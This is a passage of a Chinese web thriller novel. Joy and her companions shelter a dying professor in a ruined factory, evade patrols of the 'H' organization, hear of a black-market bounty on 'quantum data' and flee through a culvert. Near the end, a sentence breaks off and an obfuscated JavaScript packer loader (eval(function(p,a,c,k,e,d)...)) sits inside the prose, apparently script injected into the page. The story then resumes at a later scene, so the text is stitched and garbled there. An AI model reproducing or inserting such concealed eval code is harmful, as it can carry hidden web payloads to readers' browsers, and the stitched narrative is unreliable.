乔伊几乎要热泪盈眶，她死死握住教授的手，哑声重复：“您终于醒了……”她原本想问无数问题，关于当年的军工试验、关于Quantum核心、关于她体内潜伏的可怖之兽，可对方现在这么虚弱，只是每呼吸一口都显得艰难。她不能逼问得太紧。于是她用尽力气，让自己声音温柔：“别着急，先静一静，您安全了。” 教授咳嗽几声，勉强抬起视线，似乎在验证周围环境。然后，他再次开口，略带气音的破碎话语传入乔伊耳中：“我……记得你……那个拉普拉斯……实验……”听到“拉普拉斯”这个词，一股战栗从乔伊背脊爬起。她心跳加速，正要开口细问，忽然教授瞳孔一缩，好像被某些恐怖记忆击中，顿时呕出一口鲜血，整个人又开始痉挛。 “教授！”医生和学姐慌忙施救，乔伊吓得心惊肉跳，赶紧扶住他肩膀，小心避免他咬到舌头。教授颤抖着，脸上痛苦不堪，像被某道无形绳索勒住呼吸。医生一刻不敢耽误，火速拿出急救针剂与氧气罩，努力帮他稳定。乔伊手脚冰凉，看着鲜红血沫蔓延在教授唇角，那是来不及吞咽的殷殷液体。 经过几分钟惊险急救，教授终于缓过一口气，却再度陷入半昏迷，似乎体能短时无法支撑他继续言语。乔伊眼眶通红，心里比刀割还难熬：好不容易他醒了几秒，提到拉普拉斯实验，又没来得及讲更多就再度昏厥。她攥紧拳头，努力让自己别在众人面前失态。顾子衿默默伸手放在她肩上，轻轻拍了拍，示意她别太自责。学姐和医生也叹了口气：“他身体太虚弱，强行回想深层记忆，只会让神经系统再次崩溃。得等他慢慢恢复。” 乔伊抹去眼角泪痕，艰难地点头。她在教授耳际低声说：“您先好好休息……等您身体好转，我们再谈。”言语带着微哽，她忽然想握住那只干枯的手，似乎想给他更多温暖，却又怕碰到他脆弱血管。最终只能轻轻搭在他的袖口边，看着他再度沉沉睡去。 这时，林忻进来通报新的情况：“外头有几名疑似‘H’的巡逻人员正在外围搜寻，离这儿只有两三百米。”话音未落，顾子衿已快步跑到门口查看。果然，厂房外不远处时隐时现几个模糊身影，正拿着探照灯在废旧厂区里四处搜索，似乎挨着建筑搜查。医生与学姐对视一眼，脸色瞬间凝固：他们如今躲在厂房，教授状态危急，若此刻爆发冲突，只怕难以保住他性命。 乔伊自知事态紧急，但她疯也似地告诉自己：无论如何，她不会弃教授而逃。她抚过腰间麻醉针套筒，另一只手暗暗发力握拳：哪怕再陷险境，她也要守住教授——不仅为了解答当年真相，更是要兑现这几日来她对自己许下的承诺：不论他是否有罪之人，他此刻是她心底仅存的渴望与希望。 一阵沉默后，大家压低声商量对策。学姐建议把厂房所有灯源都熄灭，再用遮挡物封住透光缝隙，做好随时开战或转移的准备。若对方真的闯进来，也只能拼死突围。林忻仔细察看外面的巡逻逻辑，发现他们多半按照某个既定路线推进，或许几分钟后就会抵达厂房门口。此时此刻，就看命运是否会再次给予他们一线生机——毕竟对面人手不多，自己方六个人也算有一定还击力。 夜风吹拂，破败厂房内笼罩着凌乱又沉闷的气氛。乔伊拖着半疲倦的身体，回望教授那毫无血色的面庞，为自己也为他默默祈祷。她陡然意识到，或许这才是她真正面临的宿命考验——被计算的命运会让他们就此沉沦，还是让他们在无边黑暗里点燃些许光？她并不清楚，但她选择挣扎着握紧手中的利刃。拉普拉斯妖在她大脑深处，再度响起若有若无的叹息，只说了句：“呵……无谓。” 24.浮尘之上，微光似刃 灰蒙蒙的天光中，破败厂房里人声渐趋于寂静。所有人的呼吸都屏在喉咙口，包括乔伊自己。她还记得在那门外“嘭”地一声撞击的刹那，心脏几乎停摆。空气里弥漫的潮湿、铁锈味，与教授半昏迷的低沉呻吟、林忻身上尚未痊愈的血腥，统统混合成了难以言说的紧绷。就好像沉入水底，却没有人知道下一口氧气何时会到来。 她下意识地伸手触摸腰间，指腹感到那枚麻醉针套筒的冰冷边缘。才经历过诊所的一场激烈搏杀，她的紧张还没彻底消散，又被这突然的撞响拽进新的危局。林忻、学姐、顾子衿、医生——包括此刻奄奄一息的教授，全都在这里，被逼在这狭小空间内。那扇破旧的铁门像一道生死暗槛，一旦被外力撬开，命运势必翻腾无常。 门外是谁？是“H”组织的巡逻士兵，抑或别的势力？无论答案如何，都足以令人生畏。顾子衿站在靠近门口的位置，他单膝半蹲，手里拿着从废旧武器市场淘换的老式左轮，神色凝重。他和林忻对视一眼，就在刚才那瞬息间，他们已经摆好了战斗姿态。学姐也蹲到一旁，摸出了一把小型匕首，一面侧耳倾听外头的动静，一面随时准备合力突围。 乔伊顾不得害怕，她把教授微微扶正，尽可能不让他滑落到冰冷的地面。随即她匍匐着朝厂房最深处那堵墙前移，那里摆放着杂乱的金属板和一些废弃木箱，可作为短暂的掩体。医生原本蹲在教授身边，此刻也强打精神，配合乔伊完成这个小动作。教授被他们谨慎地移到墙角遮挡处，万一枪火交错，或许稍微能挡下几分威胁。 短短几秒内，所有人都找到相对安全的方位，神经紧绷，一声不吭。唯有教授断断续续的呼吸声凸显到令人心悸的地步。乔伊一边压抑自己的心跳，一边咬住下唇，让自己保持绝对清醒。她窥探到林忻的眼神里闪过一丝复杂，那是动作迅捷的武者身上难得一见的焦虑——看来他也知道，此刻若真爆发冲突，他们在明，对方在暗，未必能护住教授这个重伤者。 门外传来沉重的敲击声，像是某人正试图砸开锈住的门闩。咚、咚、咚，声音并不急促，甚至带着一点缓慢的磕碰节奏，仿佛在仔细探查内部反应。隔着那扇门，乔伊仿佛能想象外头一只冷漠的目光在凝视这片废墟：卷帘门半掩，砖墙缝里透着破晨光，带着敌意的风。一旦他们判断里头有人，这扇门势必就会被硬生生撞碎。 在一片沉默里，林忻突然轻轻举手，让大家注意——因为他听出了另一种声响：几声低低的口令似乎在门外交错，像是有人用通话器呼叫什么。那是“H”组织巡逻兵常用的简短暗号吗？还是别的某路人马？乔伊心里“咯噔”一下，意识到他们对面可能不止一两个人，而是一支小队。她瞥一眼教授的苍白脸庞，更觉心里阵阵发寒：若真的遭遇火拼，教授这种状态如何能挪动？带不走，难道要任他遭遇流弹或被俘？答案无限残酷。 思绪还在翻涌，那扇锈迹斑斑的铁门又响了一次，“哐——”撞击比之前更猛烈，甚至带着破门而入的姿态。顾子衿用手势示意乔伊他们继续保持安静，自己则往旁边小心挪了半步，举着枪口对准门口，等待下一秒的生死对峙。 然而，那敲门声忽然停住了。门后的声音随之减弱，仿佛那群人先退了半步，似在评估。空气仿佛被扯成两段，厂房内外被冻结于这曙光未至的灰色寂静。时间兜兜转转，让所有人心里像拉了一根极度绷紧的弦，哪怕一阵微风也会将它弹裂。 乔伊屏息良久，心想：他们会不会放弃检查？若真如此，那简直是一线生机。但这想法未及升起，就听见外头有人沉声喊：“里头有没有人？我们只想找点东西，不想杀无辜。若有人，最好出来谈。别逼我们直接炸锁。”声音不算大，却带着无限的警告意味。 厂房里没有人应答。林忻和顾子衿相视一眼，彼此都选择了静默。学姐微抿双唇，无声地甩了甩匕首，眼中寒光一闪：他们已经深谙道理——任何贸然回应，极可能将己方暴露。有时沉默才是博弈中最好的回答。 外头似乎等了数秒，见无人回应，那声音又冷笑两声，似在用对讲机跟同伴言语：“没有动静，或许没人？还是先搜吧。”随后又是一阵低声嘀咕，乔伊只捕捉到只言片语：“那些叛逃者……灯塔区域撤离……”然后那人朝门里提高声音道：“我再给你们三秒机会！” 一，二……当他数到二的时候，学姐已经暗暗攥紧了匕首柄，林忻在地面轻一点头，示意顾子衿把枪口对准更合理的角度。乔伊心想：若必有一战，他们只能拼死护住教授。但就在这电光火石之间，忽然又是“砰砰”两声，更像是附近有别的动静干扰了那群人的搜查计划。或许是另一端厂房哪里有人遭遇了突击，也或许巡逻队的其余成员发现了什么消息，他们开始分散。 外头的脚步声迅速走远了几步，似要往右侧绕去检查其他通道。乔伊暗暗松了口气，那扇门暂时没有再被撞。难道对方选择先搜索其他厂房？心里虽稍有庆幸，但她并不敢放松：也许对方只是迂回，从侧面包抄，也许他们仅仅是暂时离开，不久后就会再度回来。 顾子衿也绷着神经，侧耳听了一阵发散的脚步声，确认似乎离这边远了一些，他这才打出一个手势：“先别贸然动。”林忻颔首，当下，几个人仍保持埋伏姿态，一动不动，连稍微调整呼吸都显得紧张。若被巡逻队发觉到里面必定有人，那他们就势必无法再隐匿。 好不容易，十来分钟过去，外头的声响彻底远去。厂房门依旧紧闭，只留下一小道缝隙，透进蒙蒙冷气。医生拍了拍自己的胸口，小声感慨：“太险了……若真冲进来硬碰硬，教授恐怕……”他没继续说下去，但所有人都知道，教授现下这状况真承受不了任何炮火冲突。 乔伊也是心惊肉跳，她抹了把额头的汗，忽然觉得自己背后衣裳都湿透了。想想刚才那几秒钟，门外枪弹呼啸在即，里头却只有寥寥几人护卫，再加一个半死不活的教授。换做数月前，她绝不敢想自己会硬扛到这种地步。可她想到教授那残破的呼吸、林忻的伤口、自己脑海深处隐隐作祟的拉普拉斯妖，所有一切都在逼迫她成长、逼迫她奋起反抗命运。 确认门外暂时安全后，乔伊和医生再次检视教授的状态。他似乎经历了先前那次抽搐与吐血后，再度陷入深度昏迷。呼吸微弱却稳定，体温也没有继续飙升。医生轻抚他的脉搏，低声说：“总算熬过一截。可他体内似乎有长期毒素或药物残留，恐怕并非单纯发烧，而是多器官衰竭的前兆。如果想让他彻底醒来，还需要更系统的治疗。可我们眼下条件有限，连个好点的营养补充都拿不出。” 乔伊听得心里难受，却又只能克制住悲观情绪。她轻轻抚摸教授的手背，看着那灰白而枯瘦的皮肤，记忆里似乎也闪现过当年教授抚触她发顶的画面。只是那画面之上，笼罩着惨白的手术灯与冰冷的器械。一切都真实得让人战栗。那时候她唯恐避之不及，如今却不得不全力守护。他们之间的恩怨纠缠，是不是早就在命运之初就被拉普拉斯妖所“计算”了？ 她深吸口气，努力把杂念抛开，对医生说：“那我们只能继续往前走。我答应过自己，不会让他就这么死在废墟里。”声音虽不大，却显出前所未有的坚定。医生轻轻点头：“你别太勉强。你自己身体看上去也很疲惫，如果再牺牲过度，我怕你也撑不住。” 乔伊摇摇头，示意无事。她半年前就被那拉普拉斯妖折磨到几度崩溃，却还是顽强活下来，如今这点苦痛又算得了什么？她看向学姐和顾子衿，一字一顿问道：“接下来怎么办？‘H’的人明显在扩大搜索范围，这里已经不是久留之地，教授又无法动弹太远。我想，我们要重新制定撤离方案。” 学姐皱眉：“是，我也在想。早先曾说等到夜深再做转移，但看这动静，‘H’的人半夜也不停歇了，依旧会搜。或许我们该向东更远的郊外转移，那里有一片废弃的码头区域，‘H’顾不上全境控制。只是路程不短，一路上还有监视哨。教授恐怕吃不消颠簸。” 顾子衿沉吟片刻开口：“要不，我们准备一辆简易的机械小推车？工业区废料堆里可能翻到一些零件，我可以和林忻一起改装，勉强当个移动担架。速度不会快，但至少能带教授移动。”林忻闻言，默默点头：“也许这是个办法。但我们需要一些机械零件和旧轮子。这个破厂房附近或许能找到。否则抱着教授步行十几公里，几乎是天方夜谭。” 乔伊心里兴起一丝希望：“那就分头行动吧。我们先把教授藏好，然后尽快收集零件，赶在今夜之前把车子修好，天黑后就立刻出发。”说到这里，她的目光不由投向那扇破败厂门：如果门外的威胁再来一次，他们就未必还能这么走运。趁眼下没有人与他们纠缠，是修车和转移的最好时机。 医生也表示赞成，同时建议组队前往。学姐却微微皱眉：“那搜罗零件的过程也可能遇到巡逻，尽量少带人比较安全。”一番商议后，决定由林忻和顾子衿去找机械配件，并顺路探探其他厂房的环境。学姐则留在这里帮助医生照顾教授，同时警戒。至于乔伊，她想跟去，却被学姐劝留：“你别再硬撑。好好休息一下，也许晚上逃离时，你和我一起压阵，需要你保持最好状态。”乔伊原想拒绝，可她摸了摸自己发热的额头，也明白自己确实需要积蓄体力。于是点头同意。 分工敲定，林忻与顾子衿简单收拾一番，确认随身武器状态后，便轻轻掩开厂房后门，偷偷钻进外头的废墟。乔伊回过身，看见学姐已经在清理一些杂物，为教授准备更舒适的休息角落。医生在忙着整理药物，试图调配出简单的营养液。她走过去搭把手，一起把旧棉絮和塑料板拼凑成简陋的“病床”。教授安静地躺在上面，一动不动，偶有一声轻咳，带着难以言喻的脆弱。 乔伊看着他的苍白脸庞，内心闪过许多复杂念头：如果不是当年的实验，或许她这辈子都不会和这个人有如此深纠葛。她会像普通女孩那样追求平淡人生，不必与拉普拉斯妖纠缠，更不会卷进这场“量子核心”风波。可事实是什么呢？她在这种废墟与冲突中，逐渐蜕变为另一个自己。这是痛苦，也是某种成长。也许当初教授就想借这样的试炼逼她走上一条“与众不同”的道路。若真如此，他当得起罪人吗？或者，他真的是某种极端理想的牺牲者与实践者？ 她抿了抿嘴唇，没再深究。有些问题，只能等教授真正醒来才能得到答案。她伸手轻抚教授的额头，温度尚在可控之内。她嘀咕：“拜托……别再倒下去了。”心底又一次浮现那团黑烟般的拉普拉斯妖，它似在嘲讽一般低语：“你真以为救他能改变什么？人类的命运早就被算法吞噬，你的一切挣扎，不过是推波助澜。”乔伊咬牙回击：“不，我不相信命运是只能被动承受。就算它被算得再精确，也要看我们如何出招。” 她与心魔的对话多半在???识内部瞬息而过。学姐看她神色，似乎察觉她身体状况不佳，柔声说：“你先坐着休息吧，这里我来搞定。”乔伊点头，靠着一段墙缓缓坐下，轻闭双眼。最近几天她几乎没合过眼，又经历与歹徒的火拼和惊魂。此时此刻，一股刻骨疲倦向她袭来。可她又怕闭眼后，拉普拉斯妖会在梦里纠缠，她怕陷入那些血淋淋的回忆。那种矛盾的抗拒，让她身体微微颤抖。 医生看了一眼她的面色，取了少许抗焦虑药剂递给她：“吃不吃？你有点神经紧绷。”乔伊犹豫片刻，还是摇头：“我怕吃下去会昏沉，我想时刻保持警醒。”医生没再多劝，只轻轻拍拍她肩膀：“那就靠意志撑住吧……至少，你比任何人都更能与痛苦抗争。”简单的一句话，令乔伊心里悄然浮出一丝感激。或许医生也多少知道她的体内有个可怕的秘密——只是他说不清，也不敢多问。 随着日头爬升到云层后，空气里弥漫着烟尘与潮湿的发酵味。厂房顶上漏着几道破洞，把阳光切割成斜斜的光线带。学姐临时处理了些干粮和水，分给乔伊和医生，大家默契地小口咀嚼，储备能量，生怕发出声响。乔伊吃得索然无味，可还是得强迫自己去摄取。她知道接下来的路注定艰难，若再不拾起力气，就只能拖团队后腿。 时间一点点熬过，约摸过了近两个小时，林忻和顾子衿悄无声息地返了回来。两人都神色疲惫，却带来了一个不大不小的好消息——他们在后面废旧车间找到一副老旧的机械轮架，还翻到一块不算生锈的铁板，正巧可以改制成临时担架，一旁还捡到两条备用皮带，可用来固定教授身体，以免运输时晃落。 “不过还缺点零部件，需要一只液压小推杆和一些能承重量的螺钉。”顾子衿边说边抹汗，“我们已经初步把推车半装起来，最好能再去找找。”林忻则把一个破油桶拖进来，叮叮当当地翻出他们现有的铁块零碎。乔伊看到那堆破烂，勉强能拼凑成一辆半残推车，心里却竟生出一丝莫名希望。正如这份支离破碎的境况，只要他们肯拼凑，就还有前行的可能。 考虑到教授随时需要照料，学姐决定分头行动两拨——一拨留在厂房，保护教授，另一拨则继续去找零件，并搜集一点补给品。乔伊强烈要求参加搜寻，对此学姐其实有顾虑，但看她神色坚定，也只好妥协。“那就由乔伊和林忻、顾子衿一起去再翻找周围废料，医生和我作为留守。你们千万小心，发现‘H’的人就立刻撤回。” 分组敲定后，乔伊强忍身体不适，跟着林忻和顾子衿再次出门。三人小心避开大路，沿着一条破旧铁轨旁的小巷前行。那条巷子阴暗潮湿，墙壁上到处是剥落的标语和灰黑涂鸦，地上积着深浅不一的污水坑。他们得踮脚步绕过，稍不留神就会踩出巨大水声招来麻烦。 乔伊一边走，一边留神四周是否有可疑影子。此刻工业区似乎有些诡异寂静，远处偶尔传来机器轰鸣般的回音，不知从哪家废弃工场里震出。她心里暗想：“这个废都，昔日可能也曾繁华吧，只是如今都化为残垣废铁。战争、资源枯竭，还是人性的贪婪葬送了一切？”她不知道，也不敢妄下判断。或许这世界一直在重复着被创造、被毁灭的轮回，只是她的生命太短，无法窥见全貌。 很快，他们来到一处堆满钢筋水泥的垃圾场。顾子衿示意林忻去另一边翻找，乔伊则在另一边，小范围搜罗能用的工具。她抱着侥幸，希望能找到一只液压杆或金属支架，那样他们的移动担架就能更好固定教授身体。 “你们留神点，附近的楼房应该已荒废好几年，要是地基不稳，别轻易进去。”顾子衿嘱咐完，径自钻进一堆废铁后面。他是个动手能力很强的人，任何机械零件都能让他兴奋起来。 乔伊则往右手方向走了几步，拨开些乱七八糟的管道，果然看到里面有一截明显是机器液压原件的东西。她小心把它拽出来，噗通一下，旁边水泥块滚落。灰尘呛得她咳了几声，可她仍欣喜地发现，这液压杆看起来完好，生锈也不算太严重，或许能用。她忍着呛味，用力抬起那截沉重零件，扛在肩头。 就在她准备返回和顾子衿会合时，身后传来细碎脚步声。她立即绷紧神经，下意识压低身形，握紧那铁块。是林忻吗？不对，对方脚步轻得几乎没有响动，却透着戒备和警觉，很像接受过专业训练的侦查者。她心里咯噔一下，四下扫视，看见左边一堵塌陷墙后，似闪过一道黑色身影。 乔伊强迫自己冷静，尽量不激起声响，弯腰纵身躲到一堆废石后，然后偷偷探头观察。就见那身影缓缓移动近她刚才挖掘的地方，在地上翻找。看来那人也在搜寻物品？可从他的走动节奏和时不时抬头张望四周的谨慎来看，他显然不是什么普通拾荒者。 她暗暗憋着一口呼吸，若对方是“H”的巡逻兵，势必会携带枪械。正当她紧张之际，却发现那人不算高壮，身形有点削瘦，但步伐极稳。他似乎没有发现乔伊，依旧在翻找，捡起些金属部件往背包里塞。乔伊心思一转：难道是别的流亡者？而此人毫无疑问也带了武器，说不定稍不留神便会发生冲突。 她想绕道回到顾子衿那边，再商讨如何应对。然而由于她手里扛着那截液压杆，移动间不小心碰到一块突出的钢筋，发出“呯”的一声脆响。那黑色身影陡然转身，警觉地举起左手，似想掏枪。乔伊还未来得及反应，就听见“别动！”的低喝。她那一瞬间先是心跳加速，进而本能地用液压杆挡在身前，戒备地盯着对方。 四目交接，那人也愣住，因为他看清了乔伊并不似全副武装的士兵，而是个衣衫残破、面露疲惫的年轻姑娘。不过，他右手还是摸着腰间一把短管枪，冷冷道：“谁让你在这儿翻东西？”乔伊死死盯着他，声音颤了一下：“我……我们只是在找零件，没别的意思。” 那人似乎也看出乔伊的狼狈与憔悴，略微松了松警惕，但仍讥讽道：“找零件？你是被逼到哪条死巷子里了？现在这片工业区乱得像地狱，‘H’的人满街搜捕，谁还敢闲逛？”他目光扫过乔伊肩头的液压杆，似是好奇她究竟想干什么。 乔伊实在不想与陌生人纠缠，尤其对方还有枪，就小声回答：“一定要的话，这些零件是用来救人。我有个……有个重伤的同伴，需要搭建移动担架。”她不愿道出教授的存在，但也不想撒谎，引来更多怀疑。对方闻言，冷笑一声：“重伤的人？你们是逃亡者？若真不想死，就该远离这鬼地方。” 他语气不客气，乔伊却看出几分同病相怜的影子。他不像“H”的人那般咄咄逼逮捕，也没有立刻开枪。或许他也是某个被逼进死胡同的灰色势力成员？她迟疑着：“你……你呢？你在这儿又干什么？”那人冷哼：“还能干啥，当然也是要活着嘛。谁想死在这破区里。没事少跟我废话，你走你的路，我走我的路。” 话虽这么说，但他并不立刻后退，似乎对乔伊的出现仍旧存疑。乔伊见他虽然态度不佳，倒也没真的要冲突。她以余光搜索顾子衿或林忻的方位，希望他们发现状况能悄悄支援。但周遭废墟过多，她一时也没看见他们踪影。 方才气氛僵持之时，那男人忽然耳尖一扫，低声呵斥：“嘘。”乔伊也猛地听到远处有一阵杂乱脚步声，像是皮靴踩在金属板上，发出“当当当”的回响。她心下一凛：又来巡逻了？还真是阴魂不散！男人警惕地压低身体，也轻轻举起□□，同时飞快瞟了乔伊一眼，似是无声达成某种暂时共识——他们都不想让“H”发现。 外头脚步声越来越近，乔伊的身子几乎贴紧那堆石块，怀里那截液压杆也差点掉落。她在混乱中听到“快！”的低呼，抬头看见那陌生男人朝她做手势，示意她往另一端挤。乔伊明白他的意思，那里有个半塌陷的水泥窟窿，可以暂时藏身。她也不敢犹豫，提着液压杆匍匐过去。男人则快速闪到另一侧一堵断墙后，正好与她形成斜向夹角。 两人刚躲好，几个穿着灰黑制服的巡逻兵就闯进了这片废料区。他们带着和刚才撞门声相似的武器与探照灯，对着堆堆废墟到处搜寻。那道灯光晃得刺眼，只要稍有不慎，就可能被照到。乔伊额头浮出一层冷汗，不敢呼吸太重，眼睁睁看着那些巡逻兵越走越近——离自己不过二三十步。一旦被发现，后果不堪设想。她分不清对方是否真是“H”的正规巡逻，但看那装备绝非普通散兵。她脑中紧绷着一个念头：无论如何，不能让他们跟到厂房去。 那几个巡逻兵东翻西找，嘴里嘟囔着似乎在搜寻某个“通缉犯”或“关键目标”。一个带头的高个男人扬声问同伴：“你们确定这里有人？不会是风吹动废铁的声音？”同伴则不满地回答：“刚才明明看见有人影晃动，很可能是躲起来的逃犯。”他们说话大大咧咧，却依旧戒备。探照灯时而在废墟上扫过，照得灰尘飞扬。 乔伊紧张得手心冒汗，攥住液压杆的指关节泛白。她悄悄瞥向对面那陌生人，他蹲在墙后，神色冷峻，似乎随时准备开枪。但乔伊心里明白——以他们两人之力，对上五六个巡逻兵，胜率几乎为零，更别提自己不是战斗型好手。若贸然闹出动静，极可能死得更快。 就在乔伊感觉要窒息之际，巡逻兵群中似有人听到了另一端的风吹声，就带着几名同伴走向相反方向。带头的高个男人还说了句：“走！去那边！”一阵噪杂后，他们果真离开了这块废料区。乔伊耳朵里还能听到远处传来的命令声：“别放过任何角落！”不过，很快那声音也渐行渐远。这回他们似乎没再多停留。 直到确认巡逻兵走远，乔伊和那陌生男人才各自松了口气。乔伊从石堆后慢慢站起，小腿还在发软，显然紧张过度。对面男人也从断墙里钻出，低声斥道：“你带了同伴没？这片区潜伏着一小队人，不仅有‘H’的爪牙，听说还有黑市佣兵混进来。你一个人瞎晃，想找死吗？” 乔伊有些狼狈，却又不想跟他解释太多：“多谢刚才那一下。其实我还有伙伴在周边搜寻，我们马上会离开这里。”那男人闻言，撇撇嘴：“离开？要是有路，谁不想走？”语气中似乎藏着难言的无奈。他瞟见乔伊肩头那液压杆，不知为什么，神色似有波动，但没再多问：“好吧，你小心。若再遇到他们，你未必不会被抓。” 他转身似要离开，但又驻足，瞥了乔伊一眼，声音压得很低：“我不知道你们的境况，但要提醒你一句：最近‘H’和黑市组织都在找某个‘量子资料’之类的东西，据说和搞研究的一些人有关。要是你们碰巧跟那种人扯上关系，最好快跑。黑市那边开出高价悬赏，只要抓到，就能得到一大笔报酬。” 乔伊险些惊出一身冷汗。量子资料？那不正是教授提到的“量子核心”或“量子数据”吗？难道外面已经传出风声，各路势力都在盯着？她强忍内心翻腾，故作平静地问：“你怎么知道？”那男人哼笑：“这破区里，消息传得很快。大家都为生存铤而走险。只要哪边出了价码，就有人当狗腿子。你们要是跟那个研究人员有瓜葛，不如趁早藏好。否则……哼，后果自己想。” 话落，他也不管乔伊态度如何，转身朝另一片坍塌废墟走去，很快身影消失在灰暗的视线里。乔伊站在那里，心里久久无法平复。她多希望这只是谣言，可切身体会告诉她，这绝不是空穴来风。想来是“H”或黑市有人走漏了消息，这才引来大批势力在工业区内挖地三尺。教授和他的“拉普拉斯实验”、“量子数据”绝对是块重磅炸弹，一旦曝光，后果难以设想。她攥了攥拳，只觉得局势愈发险恶。 她快步返回，与顾子衿、林忻汇合，把方才的遭遇与那男人说的话简要告知。顾子衿闻言，眉头紧锁：“黑市也在插手？这下更复杂了。他们不像‘H’那样有组织纪律，但因为悬赏足够高，做事更疯狂，一不小心就会遭到伏击。”林忻若有所思地说：“看来，我们更得加快速度。否则，就算撑过今晚，也会被黑市猎人纠缠。” 好在经过他们一番翻找，总算凑齐了基本的螺栓、支架和那关键的液压杆。三人小心翼翼地绕回厂房时，已是下午的光景。林忻和顾子衿立马对那辆“担架车”进行改装，一边切割焊接，一边拿破旧扳手拧螺栓，忙得满头大汗。乔伊则守在厂房门口警戒。她知道教授的命就在这辆自制推车上——只要能用它将教授带离这危险区域，他们才有一线逃出生天的希望。 期间，医生给教授又注射了一支维生素和微量元素混合剂，教授仍昏迷不醒，但生命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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走了约莫一刻钟，他们来到原先的铁轨交汇点。因为最近阴雨不断，路面泥泞不堪，推车的轮子在坑洼里起伏不定。顾子衿额上布满冷汗，林忻也要不断施力才能确保教授不会被颠簸翻倒。乔伊和学姐则极目远眺，时刻准备阻止任何潜在敌人。 夜色陡深，偶有电闪般的光在云后隐现，仿佛无声的惊雷。乔伊忍不住想起之前那个夜晚：她与林忻在废诊所里遭遇危险，好不容易带回退烧药。可眼下时局比那时只会更凶险。“H”与黑市的联手绞杀，或许才真正开始。她虽恐惧，却也不想退缩——只要能保住教授这条命，或许真能挖出那深藏于量子核心背后的秘密。那不只是教授的秘密，也是她——被拉普拉斯妖侵蚀的少女——必须面对的命运之谜。 林忻忽然放轻脚步，示意大家原地静止。乔伊立刻抬眼，发现前方铁轨边伏着两道晃动的人影，看起来像是蒙着面，手里还提着刀具或枪械。学姐也绷起神经，紧紧握住匕首。那两个陌生人似乎在交头接耳，不知在等待谁。顾子衿皱眉，低声说：“可能是黑市巡逻员，或者别的势力。” 他们不想打草惊蛇，毕竟教授的情况经不起争斗。学姐环顾四周，发现右边那片残垣下有一条小道可以绕过去。她轻声规划路线，让乔伊和医生护住车子，林忻和顾子衿负责排在前面警惕，一旦那两人发现他们，就得拼死掩护转移。 于是他们小心翼翼地挪动脚步，尽量减轻轮子在碎石上的摩擦声。夜幕的阴影成了最好的掩体。那两道身影或许注意力分散，没立刻察觉到他们。乔伊屏息前行，每一步都在命悬一线。 然而就在他们快接近那小道口时，教授突然咳嗽了几声，声音沙哑却清晰地响在夜里。乔伊心里猛然一跳，这异样的咳声对于潜伏来说简直要命——那两个陌生人也立刻抬起头，其中一人似乎低喊：“谁！”旋即就取下背后的什么武器，反射般朝他们藏身的方向逼近。 “糟了，快走！”林忻当机立断，压低嗓子催促大家先行。顾子衿推着担架车加速往那小通道方向冲，可泥泞地面让轮子不断打滑，发出“吱呀”的刺耳声。对面那人一听见这动静，破口大骂：“给我站住！”随即“砰”的一声，子弹呼啸着擦过乔伊的肩头，激起一片火花。乔伊惊出一身冷汗，迅速往旁闪躲，回头看顾子衿，他也被震得手臂发麻，差点失手松开车把。 另一名陌生人也朝他们快速接近。学姐眼见对方拔枪就射，顿时面色一冷，猛地甩出匕首，刀锋在夜色中闪过寒光，准确地击中那男人的手腕。那人惨叫一声，枪掉落在地。林忻不等他回神，整个人如同猎豹般扑上，三两招就把对方掀翻在地，夺下他的武器。可另一名敌人却从后方逼近，手里挥舞一把短刀，一刀刺向林忻后背。乔伊心急如焚，大喊：“小心！”林忻反应极快，转身抬胳膊格挡，刀刃划破他衣袖，鲜血顿时染红布料。 “嘭！”一声闷响，是顾子衿趁间隙补了一枪。子弹砸向那人的腿部，对方闷哼，痛得跌坐。学姐也撤回匕首，一把夺下对方的刀，反手将他制服在地。乔伊趁机冲过去，用力帮忙压住那人。夜色中，血腥味弥漫，教授在担架车上发出微弱的呻吟。那一刻，乔伊害怕极了，担心枪战惊动更多敌人。但此时也顾不了那么多，他们必须突围。 好不容易制服那两个阻拦者，林忻和顾子衿相互搀扶站起。林忻大口喘着气，胳膊被刀划开的口子还在往外渗血。顾子衿也因推车加上刚才的枪后座力而手臂酸痛不已。学姐皱眉看了眼倒地的两人，没有赶尽杀绝，只把他们的武器收走，正打算匆匆离开。乔伊忽然想起什么，在那人衣兜翻了翻，却没有找到能说明身份的证件，也没搜到任何线索。他们或许只是黑市临时雇来的巡逻或守卡之人。 “别再浪费时间，快走！”医生出声催促。乔伊这才作罢，一行人推着担架从那破烂的小道穿过。这段路崎岖不平，每一次颠簸都让教授痛苦地低吟。医生干着急却无可奈何，只能一直用手轻抚他胸口，小声安抚：“再忍忍，快了……就快出了工业区了。”乔伊听了这话，眼眶一阵酸涩，她也想告诉教授：再等等，一定能熬过去，可她自己也没把握。 小道尽头果然通向那座高架桥下的涵洞。这里阴暗潮湿，堆积着大量垃圾和霉腐杂物，空气混浊到让人作呕。水面反射出惨淡的星光，偶尔有几只老鼠在边角处钻过。学姐用手电照了照路，发现涵洞虽然狭窄，但能容人通行，且通向更深处。若线人所言不虚，穿过这条涵洞，就能接近旧码头的地界，那里的势力相对复杂，“H”的控管尚未完全渗透。 就在他们犹豫要不要进入时，乔伊又听到远处传来隐隐骚动。她凝神细听，仿佛是工业区某处爆发了更激烈的交火，还有隐约的爆炸声和人声尖叫，夹杂着刺耳的警报。她心下一揪：难道“H”开始大规模清剿？或者黑市势力也在相互火并？无论是哪种可能，都说明此地局势激化，他们再不走，只会被卷入更可怕的战火。 学姐咬咬牙：“走涵洞！再险也比留在原地送死强。”顾子衿与林忻立即燃起手电，推着担架车小心进入那漆黑洞口。乔伊与医生殿后，医生拿出一个简易过滤口罩给乔伊戴上，自己也套了一个。他们推进几米，就被腥臭味熏得几欲呕吐。涵洞底下积水没过脚踝，脚踩下“哗啦哗啦”的声音，回荡在狭窄昏暗的空间里。 每往前十来米，就有横梁或碎石挡路，他们得费劲把车子抬过去。教授时不时发出闷哼，表明他未完全陷入昏死，而是仍能感受到痛楚。乔伊心里阵阵刺痛，她全身神经都绷着，好几次都快崩溃，却都被内在的倔强逼着继续前行。 